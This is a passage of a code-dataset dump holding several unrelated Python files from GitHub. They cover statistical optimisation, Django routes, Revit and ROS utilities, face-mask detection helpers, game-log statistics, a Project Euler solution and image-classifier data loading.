np.newaxis]*dummy_matrix.values)\n Z1 = pd.concat([Z1, tem], axis=1)\nZ_long = Z1.values\n\n##############################\ntol=1e-5\nequ = np.zeros((d+1+N, d+1+N))\nnp.fill_diagonal(equ, 1)\nlb = [tol, tol, tol] + [-100]*N\nub = [2, 0.5, 2] + [100]*N\nsign_constraint = LinearConstraint(equ, lb, ub, keep_feasible=True)\n\n\ntol = 1e-05\neq_cons = equlity_constraints_uniform(tol, RF_index, X.values, Y, Z.values)\nlb_e = Y; ub_e = Y\nequality_constraint = NonlinearConstraint(eq_cons.gradient_K_fun_uniform, lb_e, ub_e)\n\n\n#ot = np.array([251, 10.5, 17.7, 4.2, 25.56])\niniseed = np.array([2017, 1989, 1990, 1991, 2077])\nrepeats = 4\ninitals = np.zeros((repeats, len(lb)))\nii = 0\nfor ii in range(repeats):\n o0 = np.array([0.30]) \n o01 = np.array([tol]) \n o1 = np.array([1.39])\n if ii < 2:\n t_start = uniform.rvs(loc=-1, scale=2, size=N, random_state=iniseed[ii])\n else:\n t_start = uniform.rvs(loc=-5, scale=10, size=N, random_state=iniseed[ii])\n initals[ii, :] = np.concatenate((o0, o01, o1, t_start))\n #initals[ii, :] = np.array([251.41, 10.47, 25.57])\ninitial_final = initals\nm_vector = np.ones(k)[:, np.newaxis]\n\n\nuni_obj = uniform_sda(tol, g, RF_index, X.values, Y, Z.values) \n\nchacha = np.inf \nx_final = None \nsuccess = False\nite_grand = 0\nfor j in range(repeats):\n x0_t = initial_final[j, :].ravel()\n meth1 = minimize(fun = uni_obj.LK_negative, x0 = x0_t, method='trust-constr', constraints = [sign_constraint, equality_constraint], options={'maxiter': 1000})\n if meth1.success:\n success = True\n if ((meth1.fun <= chacha) & (meth1.fun > -1000000)):\n if len(np.where((meth1.x[0:d] > 0) == False)[0]) < 1:\n #x_final = np.concatenate((meth1.x[0:d], np.array([meth1.x[d]]), meth1.x[(d+1):]))\n x_final = np.concatenate((meth1.x[0:d], np.array(np.abs([meth1.x[d]])), meth1.x[(d+1):]))\n chacha = meth1.fun\n ite_grand = meth1.niter\n print('updated')\n print(j)\n print(meth1.success)\n print(meth1.niter)\n print(meth1.fun)\n print(chacha)\n print(meth1.x[0:(d+1)])\n\n\n# In[ ]:\ntem1 = {'results': x_final, 'iteration': ite_grand, 'LK_negative': chacha, 'Success': success}\nprint(tem1)\n\nres = tem1['results']\nbeta_v = res[0:k]\nsigma = res[k:(k+1)]\n\nx0_rf = uniform.rvs(loc=-0.1, scale=0.2, size=k*g, random_state=2021)\n##### contraints for RF\nequ_rf = np.diag(np.full(g*k, 1)) \n########## Create equality constraints\n#lb_rf = [-np.inf]*g + [-np.inf]*g \n#ub_rf = [np.inf]*g + [np.inf]*g \nlb_rf = [-100]*g + [-res[1]]*g \nub_rf = [100]*g + [res[1]]*g \n#ub_rf = [np.inf, np.inf, -1e-05, -1e-05]\nlinear_constraint_rf = LinearConstraint(equ_rf, lb_rf, ub_rf)\n\n\ndef RF_step2(gamma, beta, sigma, X = None, Z_long = None, Y = None):\n E = Y.ravel() - (X@beta[:, np.newaxis]).ravel() - (Z_long@gamma).ravel()\n tem1 = np.sum(E**2/sigma**2)\n #######\n #lambda_v_matrix = np.diag(np.repeat(1/np.sqrt(2)/lambda_v, g))\n #tem2_1 = lambda_v_matrix@gamma[:, np.newaxis]\n #tem2 = np.sum((gamma[np.newaxis, :]@tem2_1).ravel())\n #return tem1 + tem2 \n return tem1\n\n################# 2nd Step optimization Method 1\n#### get the results from optimization 1\n########### optimization \nmeth2 = minimize(fun = RF_step2, x0 = x0_rf, \n args = (beta_v, sigma, X.values, Z_long, Y), \n method='trust-constr', \n constraints = [linear_constraint_rf], options = {'xtol': 1e-8, 'gtol':1e-8, 'maxiter': 2000})\n#end_time = time.time()\n\nprint(meth2.success)\nprint(meth2.x)\n\n\nrf0 = meth2.x[0:g]\nrf1 = meth2.x[g:g*k]\n\n#len(rf2)\noverall1 = res[0] + rf0\noverall2 = res[1] + rf1\n\nprint(overall1.round(5))\n\nprint(overall2.round(5))\n\n\n# In[ ]:\n\nth = np.concatenate((overall1[:, np.newaxis], overall2[:, np.newaxis]), 1)\n\n#pd.DataFrame(th).to_csv('Uniform.csv')\n\ngamma = meth2.x\nE = (X.values@beta_v[:, np.newaxis]).ravel() + (Z_long@gamma).ravel()\nbaba = np.sqrt(np.sum((Y-E)**2)/N)\nprint(baba)\n\n","repo_name":"nelsonch/Saddlepoints_Python","sub_path":"Section5_Application/Run_Uniform.py","file_name":"Run_Uniform.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13844000123","text":"# for some reason that I don't understand at all this is somehow the instance directrly\nsys.path.append(os.getcwd())\nimport sys\nfrom const import *\n\nsys.path.append(os.path.abspath(app_dir + '/domain'))\n\n\nprint(\"app_dir = \" + app_dir)\nprint(\"instance_dir = \" + instance_dir)\n# print(sys.argv)\ncommandName = sys.argv[1]\n# print(commandName)\n# assert(commandName == 'ex')\nif commandName != \"ex\":\n print('pyzn currently only handles one command: \"ex\"')\n sys.exit(1)\nscriptName = sys.argv[2]\n# print(scriptName)\nscriptPath = app_dir + '/bin/' + scriptName + '.py'\nargs = sys.argv[2:]\nexec(open(scriptPath).read())\n","repo_name":"rgigger/zinc","sub_path":"py/pyzn.py","file_name":"pyzn.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"20333595705","text":"from math import cos, degrees, sin\n\nfrom geometry_msgs.msg import Pose2D\n\nfrom python_qt_binding.QtGui import QColor\n\nFIELDS = {'x': 'black', 'y': 'green', 'theta': 'blue'}\n\n\ndef scale(v, minval, maxval, dest_size=1.0, offset=0.0):\n if minval == maxval:\n return offset\n return (v - minval) / (maxval - minval) * dest_size + offset\n\n\ndef subtractPose(pose_a, pose_b):\n dx = pose_a.x - pose_b.x\n dy = pose_a.y - pose_b.y\n s = sin(-pose_b.theta)\n c = cos(-pose_b.theta)\n x = dx * c - dy * s\n y = dx * s + dy * c\n return Pose2D(x, y, pose_a.theta - pose_b.theta)\n\n\ndef debug(pose):\n return '%.2f %.2f %.2f' % (pose.x, pose.y, degrees(pose.theta))\n\n\nPALETTE = [QColor(204, 65, 37), QColor(246, 178, 107), QColor(255, 217, 102), QColor(147, 196, 125), # noqa(E241)\n QColor(109, 158, 235), QColor(142, 124, 195), QColor(224, 102, 102), QColor(118, 165, 175),\n QColor(111, 168, 220), QColor(194, 123, 160)]\n","repo_name":"locusrobotics/robot_navigation","sub_path":"robot_nav_tools/rqt_dwb_plugin/src/rqt_dwb_plugin/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":413,"dataset":"github-code","pt":"52"} +{"seq_id":"29552656105","text":"from django.urls import path\r\nfrom . import views\r\nfrom django.contrib import admin\r\nfrom django.contrib.auth import views as auth_views\r\n\r\nurlpatterns = [\r\n path('', views.index, name=\"index\"),\r\n path('admin/', admin.site.urls),\r\n path('trabajadores_categoria//', views.trabajadores_categoria, name='trabajadores_categoria'),\r\n path('acerca',views.acerca, name= \"acerca\"),\r\n path('alta_trabajador',views.alta_trabajador, name =\"alta_trabajador\"),\r\n path('lista_trabajadores',views.lista_trabajadores, name=\"lista_trabajadores\"),\r\n path('contacto',views.contacto, name=\"contacto\"),\r\n path('alta_oficio',views.alta_oficio, name =\"oficios\"),\r\n path('trabajador//', views.trabajador_detalle, name='trabajador_detalle'),\r\n path('login/', views.user_login, name='login'),\r\n path('logout/', auth_views.LogoutView.as_view(next_page='index'), name='logout'),\r\n]","repo_name":"Lupwin/prueba-trabajo","sub_path":"proyecto/servisarg/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14895962366","text":"def solution(answers):\n answer = []\n a = []\n a.append([1,2,3,4,5])\n a.append([2,1,2,3,2,4,2,5])\n a.append([3,3,1,1,2,2,4,4,5,5])\n point = [0,0,0]\n \n max_count = 0\n for i in range(len(a)):\n k = 0\n for j in answers:\n if a[i][k] == j:\n point[i] += 1\n k = (k+1)%len(a[i])\n \n max_point = max(point)\n for i in range(len(a)):\n if max_point == point[i]:\n answer.append(i+1)\n \n return answer\n","repo_name":"HongDaeYong/codingStudy","sub_path":"tobby/5.bruteForceSearch/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17644690363","text":"# -*- coding: utf-8 -*-\n\nfrom rpw import revit, DB, UI\nfrom pyrevit import forms, script, EXEC_PARAMS\n\nimport antler\n\nimport math\n\n\nlogger = script.get_logger()\noutput = script.get_output()\n\n\ncurrent_selection = revit.uidoc.Selection.GetElementIds() or script.exit()\nelements = [revit.doc.GetElement(id) for id in current_selection]\n\n\ncommon_definitions = antler.parameters.get_common_parameter_definitions(\n elements, filter_function=lambda x: x.StorageType in (DB.StorageType.Integer, DB.StorageType.Double))\nlogger.debug(common_definitions)\n\n\nif not common_definitions:\n logger.warning(\"Elements does not have any common valid parameters.\")\n script.exit()\n\n\nif EXEC_PARAMS.config_mode:\n parameter_definition_dict = {\n definition.Name: definition for definition in common_definitions}\n logger.debug(parameter_definition_dict)\n\n selected_definition_keys = forms.SelectFromList.show(\n sorted(parameter_definition_dict.keys()),\n title='Select Parameter to sum',\n multiselect=True\n ) or script.exit()\n\n definitions = [parameter_definition_dict[a] for a in selected_definition_keys]\nelse:\n definitions = common_definitions\n\n\nreport = []\n\n\nfor definition in definitions:\n internal_values = []\n\n logger.debug(definition.Name)\n logger.debug(definition.GetSpecTypeId())\n\n has_values = []\n\n for element in elements:\n logger.debug(\"Element: {}\".format(element))\n\n parameter = element.get_Parameter(definition)\n internal_value = antler.parameters.get_parameter_value(parameter, convert=False)\n internal_values.append(internal_value)\n\n logger.debug(parameter.HasValue)\n\n has_values.append(parameter.HasValue)\n\n # internal_value_sum = sum(internal_values)\n\n if all(has_values):\n format_value = lambda x: DB.UnitFormatUtils.Format(\n revit.doc.GetUnits(),\n definition.GetSpecTypeId(),\n x,\n False)\n\n logger.debug(format_value(sum(internal_values)))\n\n parameter_summary = {\n 'Parameter': definition.Name,\n 'Minimum': format_value(min(internal_values)),\n 'Maximum': format_value(max(internal_values)),\n 'Sum': format_value(sum(internal_values)),\n 'Average': format_value(sum(internal_values)/len(internal_values)),\n }\n\n report.append(parameter_summary)\n\nantler.util.print_dict_list(\n report,\n title=\"Parameter Summary\",\n sort_key='Parameter',\n columns=['Parameter', 'Sum', 'Minimum', 'Maximum', 'Average']\n )\n\n # output.print_md(\n # \"Sum of parameter {definition} for {count} elements is **{formatted_value}**\".format(\n # definition=definition_key,\n # count=len(elements),\n # formatted_value=DB.UnitFormatUtils.Format(\n # revit.doc.GetUnits(),\n # definition.UnitType,\n # sum(internal_values),\n # True,\n # False)\n # )\n # )\n","repo_name":"tothom/antler_pyrevit","sub_path":"PyRevit Extension/Antler.extension/Antler.tab/Modify.panel/Parameters.pulldown/ParameterSummary.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"36927823638","text":"# Importar librerias para crear las tablas de base de datos\r\nfrom config.base_de_datos import base\r\nfrom sqlalchemy import Column, Integer, String, Float\r\n\r\nclass Ventas(base):\r\n # nombre de la tabla\r\n __tablename__ = \"ventas\"\r\n id = Column(Integer, primary_key= True)\r\n fecha = Column(String)\r\n tienda = Column(String)\r\n importe = Column(Float)\r\n \r\nclass Jobs(base):\r\n # nombre de la tabla\r\n __tablename__ = \"jobs\"\r\n id = Column(Integer, primary_key= True)\r\n job = Column(String)\r\n \r\nclass Hired(base):\r\n # nombre de la tabla\r\n __tablename__ = \"hired\"\r\n id = Column(Integer, primary_key= True)\r\n name = Column(String)\r\n datetime = Column(String)\r\n department_id = Column(Integer)\r\n job_id = Column(Integer)","repo_name":"Jaender/challengeglobant","sub_path":"modelos/ventas.py","file_name":"ventas.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11423645718","text":"import cv2\r\nimport numpy as np\r\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nfrom tensorflow.keras.models import load_model\r\n\r\n# Loading the Model\r\nmodel = load_model('mask_detector.h5')\r\n\r\n# Loading the classifier from the file.\r\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\n# accepted image file extension\r\nUPLOAD_FOLDER = 'static/'\r\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\r\n\r\n# initiating the video capturing\r\ncamera = cv2.VideoCapture(0)\r\n\r\n\r\ndef allowed_file(filename):\r\n \"\"\" Checks the file format when file is uploaded\"\"\"\r\n\r\n return ('.' in filename and\r\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS)\r\n\r\n\r\ndef gen_frames():\r\n while True:\r\n success, frame = camera.read() # read the camera frame\r\n if not success:\r\n break\r\n else:\r\n ret, buffer = cv2.imencode('.jpg', frame)\r\n frame = buffer.tobytes()\r\n yield (b'--frame\\r\\n'\r\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\r\n\r\n\r\ndef image_preprocessing(frame):\r\n path = \"static/\" + str(frame)\r\n frame = cv2.imread(path)\r\n faces_detected = face_cascade.detectMultiScale(frame, 1.2, 7, minSize=(60, 60), flags=cv2.CASCADE_SCALE_IMAGE)\r\n\r\n if len(faces_detected) == 0:\r\n print(\"face not detected\")\r\n\r\n else:\r\n faces_images = []\r\n for (x, y, w, h) in faces_detected:\r\n cropped_faces = frame[y:y + h, x:x + w]\r\n cropped_faces = cv2.cvtColor(cropped_faces, cv2.COLOR_BGR2RGB)\r\n cropped_faces = cv2.resize(cropped_faces, (224, 224))\r\n cropped_faces = img_to_array(cropped_faces)\r\n faces_images.append(cropped_faces)\r\n\r\n faces_images = np.array(faces_images)\r\n faces = preprocess_input(faces_images)\r\n predictions = model.predict(faces)\r\n return predictions, frame, faces_detected\r\n\r\n\r\ndef predictions_results(predictions, frame, faces_detected, filename):\r\n correct_mask_count = []\r\n incorrect_mask_count = []\r\n no_mask_count = []\r\n\r\n i = 0\r\n for pred in predictions:\r\n\r\n (WithoutMask, CorrectMask, InCorrectMask) = pred\r\n if max(pred) == CorrectMask:\r\n label = \" Correct Mask\"\r\n color = (0, 255, 0)\r\n correct_mask_count.append(1)\r\n elif max(pred) == InCorrectMask:\r\n label = \" Incorrect Mask\"\r\n color = (250, 00, 0)\r\n incorrect_mask_count.append(2)\r\n else:\r\n label = \" No Mask\"\r\n color = (0, 0, 255)\r\n no_mask_count.append(0)\r\n\r\n # include the probability in the label\r\n label = \"{}: {:.2f}%\".format(label, max(WithoutMask, CorrectMask, InCorrectMask) * 100)\r\n (x, y, w, h) = faces_detected[i]\r\n # Displaying the labels\r\n cv2.rectangle(frame, (x, y + 20), (x + 5 + w, y + h + 15), color, 2)\r\n cv2.putText(frame, label, (x, y + 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 1)\r\n i += 1\r\n\r\n cv2.imwrite(f\"static\\{filename}\", frame)\r\n face_count = len(no_mask_count) + len(incorrect_mask_count) + len(correct_mask_count)\r\n no_masks = len(no_mask_count)\r\n corrects_masks = len(correct_mask_count)\r\n incorrects_masks = len(incorrect_mask_count)\r\n\r\n return face_count, no_masks, corrects_masks, incorrects_masks\r\n","repo_name":"memudualimatou/FACE-MASK-DETECTION-WEB-APP-FLASK-PYTHON","sub_path":"Myfunctions.py","file_name":"Myfunctions.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"52"} +{"seq_id":"38769830724","text":"import os\n\nINSURGENTS_DEFENDER = \"Insurgents\"\nSECURITY_DEFENDER = \"Security\"\n\ndefenders = {\"market\": INSURGENTS_DEFENDER, \"station\": INSURGENTS_DEFENDER,\n \"tell\": SECURITY_DEFENDER, \"station_night\": INSURGENTS_DEFENDER,\n \"embassy\": INSURGENTS_DEFENDER, \"embassy_night\":INSURGENTS_DEFENDER,\n \"verticality\": INSURGENTS_DEFENDER, \"siege\":SECURITY_DEFENDER,\n \"revolt\":INSURGENTS_DEFENDER}\n\nmaps = {}\n\nunicode_errors = 0\n\nfor filename in sorted(os.listdir(\".\")):\n if \"000.log\" in filename:\n for line in open(filename).readlines():\n if \"Loading map\" in line:\n map_name = line[line.index('\"')+1:line.rindex('\"')]\n if map_name in maps:\n maps[map_name][\"played\"] += 1\n else:\n maps[map_name] = {\"played\": 1, \"insurgents\":0, \"security\":0} \n \n found_winner = False\n \n try:\n for line in open(filename[:-7] + \"002.log\", encoding=\"utf8\").readlines():\n if \"Round_Win\" in line:\n found_winner = True\n if \"Insurgent\" in line:\n maps[map_name][\"insurgents\"] += 1\n elif \"Security\" in line:\n maps[map_name][\"security\"] += 1\n break\n except UnicodeDecodeError as ude:\n unicode_errors += 1\n except FileNotFoundError as fnfe:\n pass\n \n if (found_winner is False):\n maps[map_name][\"played\"] -= 1\n \n break\n\nprint(\"Unicode errors: \" + str(unicode_errors))\nprint(maps)\n\ndefenders_win_count = 0\ndefenders_total_percentage = 0.0\n\nfor map in maps:\n map_info = maps[map]\n defenders_won = 0.0\n\n defender = \"Unknown\" \n\n if map in defenders:\n if defenders[map] == INSURGENTS_DEFENDER:\n defender = INSURGENTS_DEFENDER\n defenders_won = map_info[\"insurgents\"]/float(map_info[\"played\"])\n else:\n defender = SECURITY_DEFENDER\n defenders_won = map_info[\"security\"]/float(map_info[\"played\"])\n \n defenders_win_count += map_info[\"played\"]\n defenders_total_percentage += defenders_won*map_info[\"played\"] \n print(map + \" - Played \" + str(map_info[\"played\"]) + \" times.\" + \" Defenders were \" + defender + \", with win rate: \" + \"{0:.2f}\".format(defenders_won*100.0) + \"%.\")\n \nprint(\"In total, defenders won \" + \"{0:.2f}\".format(defenders_total_percentage/defenders_win_count * 100.0) + \"% of time.\")","repo_name":"tzaeru/Insurgency-server-scripts","sub_path":"ambush_stats.py","file_name":"ambush_stats.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72792807845","text":"\nif __name__ == \"__main__\":\n LIMIT = 28124\n divisorsum = [0] * LIMIT\n for i in range(1, LIMIT):\n for j in range(i * 2, LIMIT, i):\n divisorsum[j] += i\n op = [i for (i, x) in enumerate(divisorsum) if x > i]\n expressible = [False] * LIMIT\n for i in op:\n for j in op:\n if i + j < LIMIT:\n expressible[i + j] = True\n else:\n break\n print(sum(i for (i, x) in enumerate(expressible) if not x))","repo_name":"Krish-bhardwaj/PROJECT_EULER","sub_path":"P23.py","file_name":"P23.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"69940812964","text":"import asyncio\nfrom contextvars import ContextVar\nfrom logging import LogRecord\nfrom typing import List\n\nimport inject\nimport pytest # type:ignore[import]\nimport pytest_asyncio # type:ignore[import]\nfrom maus.models.anwendungshandbuch import AhbMetaInformation, DeepAnwendungshandbuch\nfrom maus.models.edifact_components import (\n DataElementFreeText,\n DataElementValuePool,\n Segment,\n SegmentGroup,\n ValuePoolEntry,\n)\n\nfrom ahbicht.content_evaluation.evaluationdatatypes import EvaluatableData, EvaluatableDataProvider\nfrom ahbicht.content_evaluation.token_logic_provider import SingletonTokenLogicProvider, TokenLogicProvider\nfrom ahbicht.expressions.condition_nodes import ConditionFulfilledValue, EvaluatedFormatConstraint\nfrom ahbicht.validation.validation import validate_deep_anwendungshandbuch\nfrom unittests.defaults import (\n DefaultHintsProvider,\n DefaultPackageResolver,\n EmptyDefaultFcEvaluator,\n EmptyDefaultRcEvaluator,\n default_test_format,\n default_test_version,\n)\n\npytestmark = pytest.mark.asyncio\n\n\nclass SomethingInjectable:\n \"\"\"\n This class is used by one of our custom Evaluators.\n The evaluators a bit fragile because of https://github.com/ivankorobkov/python-inject/issues/77\n This means you _cannot_ use inject.attr(...) in your custom evaluators\n \"\"\"\n\n pass\n\n\nclass MweRcEvaluator(EmptyDefaultRcEvaluator):\n # do _not_use inject.attr! It breaks in the inspection inside the Evaluator __init__ method\n\n def evaluate_1(self, evaluatable_data, context):\n seed = evaluatable_data.body\n if \"foo\" in seed and seed[\"foo\"] == \"bar\":\n return ConditionFulfilledValue.FULFILLED\n return ConditionFulfilledValue.UNFULFILLED\n\n async def evaluate_2(self, evaluatable_data, context):\n # an async method, just for the sake of it\n seed = evaluatable_data.body\n if \"asd\" in seed and seed[\"asd\"] == \"yxc\":\n return ConditionFulfilledValue.FULFILLED\n return ConditionFulfilledValue.UNFULFILLED\n\n def evaluate_3(self, _, __):\n something_injected = inject.instance(SomethingInjectable) # this is fine (other than inject.attr, see above)\n assert isinstance(something_injected, SomethingInjectable)\n return ConditionFulfilledValue.UNFULFILLED\n\n\nclass MweFcEvaluator(EmptyDefaultFcEvaluator):\n def evaluate_998(self, entered_input):\n \"\"\"fantasy FC: input must be all upper case\"\"\"\n if not entered_input:\n return EvaluatedFormatConstraint(format_constraint_fulfilled=False, error_message=\"Input must not be empty\")\n if entered_input.to_upper() == entered_input:\n return EvaluatedFormatConstraint(format_constraint_fulfilled=True, error_message=None)\n return EvaluatedFormatConstraint(\n format_constraint_fulfilled=False, error_message=f\"Input '{entered_input}' is not all upper case\"\n )\n\n\ncurrent_evaluatable_data: ContextVar[EvaluatableData] = ContextVar(\"current_evaluatable_data\")\n\n\ndef get_current_evaluatable_data() -> EvaluatableData:\n return current_evaluatable_data.get()\n\n\nclass TestIntegrationMwe:\n \"\"\"\n Contains an integration tests that show a full minimal working example (meaning: no mocks at all).\n If any tests break, then first fix all other tests and run these tests last.\n \"\"\"\n\n @pytest_asyncio.fixture()\n def setup_and_teardown_injector(self):\n fc_evaluator = MweFcEvaluator()\n rc_evaluator = MweRcEvaluator()\n hints_provider = DefaultHintsProvider({\"567\": \"Hallo Welt\"})\n package_resolver = DefaultPackageResolver({\"4P\": \"[1] U [2]\"})\n inject.clear_and_configure(\n lambda binder: binder.bind(\n TokenLogicProvider,\n SingletonTokenLogicProvider([fc_evaluator, rc_evaluator, hints_provider, package_resolver]),\n ).bind_to_provider(EvaluatableDataProvider, get_current_evaluatable_data)\n )\n yield\n inject.clear()\n\n async def test_integration(self, setup_and_teardown_injector, caplog):\n maus = DeepAnwendungshandbuch(\n meta=AhbMetaInformation(pruefidentifikator=\"12345\"),\n lines=[\n SegmentGroup(\n discriminator=\"root\",\n ahb_expression=\"X[4P]\",\n segments=[\n Segment(\n discriminator=\"UNH\",\n ahb_expression=\"X\",\n data_elements=[\n DataElementFreeText(\n discriminator=\"Nachrichten-Startsegment\",\n ahb_expression=\"X[998][567]\",\n entered_input=None,\n data_element_id=\"1234\",\n )\n ],\n )\n ],\n ),\n SegmentGroup(\n discriminator=\"SG4\",\n ahb_expression=\"X\",\n segments=[\n Segment(\n discriminator=\"FOO\",\n ahb_expression=\"X\",\n data_elements=[\n DataElementValuePool(\n discriminator=\"SG4->FOO->0333\",\n value_pool=[\n ValuePoolEntry(\n qualifier=\"E01\",\n meaning=\"Das andere\",\n ahb_expression=\"X[4P]\",\n ),\n ValuePoolEntry(\n qualifier=\"E02\",\n meaning=\"Das Eine\",\n ahb_expression=\"X[3]\",\n ),\n ],\n data_element_id=\"0333\",\n entered_input=None,\n )\n ],\n )\n ],\n segment_groups=[\n SegmentGroup(\n discriminator=\"SG5\",\n ahb_expression=\"X[2]\",\n segments=[\n Segment(\n discriminator=\"BAR\",\n ahb_expression=\"X\",\n data_elements=[\n DataElementFreeText(\n discriminator=\"Die fünfte Gruppe\",\n ahb_expression=\"X\",\n entered_input=None,\n data_element_id=\"1234\",\n )\n ],\n )\n ],\n ),\n ],\n ),\n ],\n )\n\n async def first_evaluation():\n current_evaluatable_data.set(\n EvaluatableData(\n body={\"foo\": \"bar\", \"asd\": \"yxc\"},\n edifact_format=default_test_format,\n edifact_format_version=default_test_version,\n )\n )\n return await validate_deep_anwendungshandbuch(maus)\n\n async def second_evaluation():\n current_evaluatable_data.set(\n EvaluatableData(\n body={\"foo\": \"baz\", \"asd\": \"qwe\"},\n edifact_format=default_test_format,\n edifact_format_version=default_test_version,\n )\n ) # use a different message under test to trigger different outcomes\n # you can set a breakpoint in evaluate_1 and evaluate_2 to manually verify the different data they access\n return await validate_deep_anwendungshandbuch(maus)\n\n results1, results2 = await asyncio.gather(*[first_evaluation(), second_evaluation()])\n assert results2 is not None\n assert results1 != results2 # this shows, that the evaluatable data used are indeed different in each call\n log_entries: List[LogRecord] = caplog.records\n assert len([le for le in log_entries if le.message.startswith(\"The requirement constraint\")]) == 12\n assert len([le for le in log_entries if le.message.startswith(\"The format constraint\")]) == 1\n","repo_name":"Hochfrequenz/ahbicht","sub_path":"unittests/test_integration_mwe.py","file_name":"test_integration_mwe.py","file_ext":"py","file_size_in_byte":8761,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"71992525286","text":"import os\r\nimport torch\r\n\r\n\r\ndef load_data_windowed(dir, n_class=0):\r\n #\r\n \"\"\"\r\n (OUTDATED!)\r\n :param dir: Directory to training data\r\n :param n_class: Number of classes in the subdirectory\r\n :return: Training data windows and their corresponding labels\r\n \"\"\"\r\n data, data_labels = [], []\r\n label = torch.zeros((1, n_class))\r\n if n_class == 0:\r\n # Default to be unclassified (class 6)\r\n label[0][5] = 1\r\n paths = [os.path.join(dir, file_name) for file_name in\r\n os.listdir(os.path.join(dir))]\r\n\r\n data, data_labels = load_images(paths, data, data_labels, label=label)\r\n else:\r\n # Load the classes and labels as training data\r\n for cls in range(n_class):\r\n # Label for the vase\r\n label = torch.zeros((1, 6))\r\n label[0][cls] = 1\r\n\r\n paths = [os.path.join(dir, f\"class {cls}\", file_name) for file_name in\r\n os.listdir(os.path.join(dir, f\"class {cls}\"))]\r\n\r\n data, data_labels = load_images(paths, data, data_labels, label=label)\r\n\r\n return normalize(data, data_labels)\r\n\r\n\r\ndef load_images(paths, data, data_labels, window_size=32, img_size=256, stride=4, label=None):\r\n \"\"\"\r\n Load image from paths, and use a convolutional sliding window to slide the images\r\n :param paths: paths to the individual images\r\n :param window_size: size of th sliding window\r\n :param img_size: Size of the uniform scaled image\r\n :param label: Label of the image class\r\n :return: List of image array with shape (window_size, window_size, 3) and their corresponding\r\n \"\"\"\r\n\r\n for path in paths:\r\n temp = np.asarray(Image.open(path).resize((img_size, img_size)))\r\n\r\n # Use a square sliding window with a stride of 4\r\n for i in range(0, img_size - window_size, stride):\r\n for j in range(0, img_size - window_size, stride):\r\n data.append(temp[i:i+window_size, j:j+window_size, :])\r\n data_labels.append(label)\r\n\r\n return data, data_labels\r\n\r\ndef clear_cache():\r\n \"\"\"\r\n Clear cache at the end of every run\r\n :return: None\r\n \"\"\"\r\n print(\"\\nClearing Cache...\")\r\n filelist = [f for f in os.listdir(CACHE_DIR)]\r\n print(filelist)\r\n\r\n for f in filelist:\r\n os.remove(os.path.join(CACHE_DIR, f))\r\n\r\n print(\"Cache Cleared!\")\r\n\r\ndef load_glued_to_cache(path, n_class, cls):\r\n \"\"\"\r\n Load glued vase image (Assume width > height)\r\n :param path: Path to the glued vase image\r\n :param n_class: Number of classes to predict\r\n :param cls: The designated class to load the data\r\n :param img_size: Size of the output\r\n :param save: Whether or not winows need to be saved\r\n :return: data - Image of (img_size x img_size) with data_labels as their corresponding labels\r\n \"\"\"\r\n\r\n cache_paths = []\r\n data_labels = []\r\n\r\n label = torch.zeros((1, n_class))\r\n label[0][cls] = 1\r\n\r\n glued = np.asarray(Image.open(path))\r\n\r\n height = glued.shape[0]\r\n width = glued.shape[1]\r\n\r\n for i in range(width - height):\r\n target_path = os.path.join(CACHE_DIR, f\"{str(len(os.listdir(CACHE_DIR)))}.jpg\")\r\n\r\n temp = glued[:, i:i+height, :]\r\n temp = Image.fromarray(temp) # .resize((img_size, img_size))\r\n # Save the window to cache\r\n temp.save(target_path)\r\n\r\n cache_paths.append(target_path)\r\n data_labels.append(label)\r\n\r\n return cache_paths, data_labels\r\n\r\ndef load_cache(dir, n_class):\r\n \"\"\"\r\n Load Training and Testing data to cache\r\n :param dir: The training or testing directory to be loaded\r\n :return: The paths and labels to be fed into the dataloader\r\n \"\"\"\r\n\r\n cache_paths = []\r\n labels = []\r\n\r\n for cls in range(n_class):\r\n subdir = os.path.join(dir, f\"class {cls}\")\r\n\r\n paths = [os.path.join(subdir, file_name) for file_name in\r\n os.listdir(os.path.join(subdir))]\r\n\r\n for path in paths:\r\n if \"glued\" in path:\r\n c_paths, lbs = load_glued_to_cache(path, n_class, cls)\r\n else:\r\n c_paths = os.path.join(CACHE_DIR, str(len(os.listdir(CACHE_DIR))))\r\n copy(path, c_paths)\r\n c_paths = [c_paths]\r\n\r\n cache_paths += c_paths\r\n labels += [make_label(cls, n_class)]\r\n\r\n return cache_paths, labels\r\n\r\nclass ClassificationNet(nn.Module):\r\n def __init__(self, embedding_net, n_classes):\r\n super(ClassificationNet, self).__init__()\r\n self.embedding_net = embedding_net\r\n self.n_classes = n_classes\r\n self.nonlinear = nn.PReLU()\r\n self.fc1 = nn.Linear(128, 